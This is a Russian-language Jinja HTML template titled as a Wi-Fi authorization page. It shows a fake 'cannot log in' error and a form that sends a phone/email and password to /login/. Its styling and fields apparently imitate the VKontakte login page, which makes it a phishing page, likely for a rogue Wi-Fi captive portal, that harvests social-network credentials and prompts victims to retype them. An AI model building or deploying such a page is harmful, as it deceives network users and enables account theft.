{% extends 'base.html' %}

{% block head %}
<title>Wifi авторизация</title>
{% endblock %}

{% block body %}
<div class="alert m-3" style="font-size: 94%; line-height: 1.2; border-color: #f2ab99; background-color: #ffefe9;">
    <b>Не удаётся войти.</b><br>
    Пожалуйста, проверьте правильность написания <b>логина</b> и <b>пароля.</b>
    <br><br>
    <ul>
        <li>Возможно, нажата клавиша <b>Caps Lock?</b></li>
        <li>Может быть, у Вас включена неправильная <b>раскладка</b>? (русская или английская)</li>
        <li>Попробуйте набрать свой пароль в текстовом редакторе и <b>скопировать</b> в графу «Пароль»</li>
        <li>Если пароль набран верно, попробуйте указать в качестве логина <b>номер привязанного телефона</b>, а не почту.</li>
    </ul>
</div>
<form class="container mt-4" action="/login/" method="POST">
    <input class="form-control my-3" type="text" name="login" id="login" placeholder="Телефон или email">
    <input class="form-control my-3" type="password" name="password" id="password" placeholder="Пароль">
    <div class="ml-n3">
        <button class="btn m-3 px-5" style="color:white; background-color: #4680C2;" type="submit">Войти</button>
        <span class="pl-4">
            <input class="form-check-input mt-4" type="checkbox" value="">
            <label class="form-check-label">
                Чужой компьютер
            </label>
        </span>
    </div>
</form>
{% endblock %}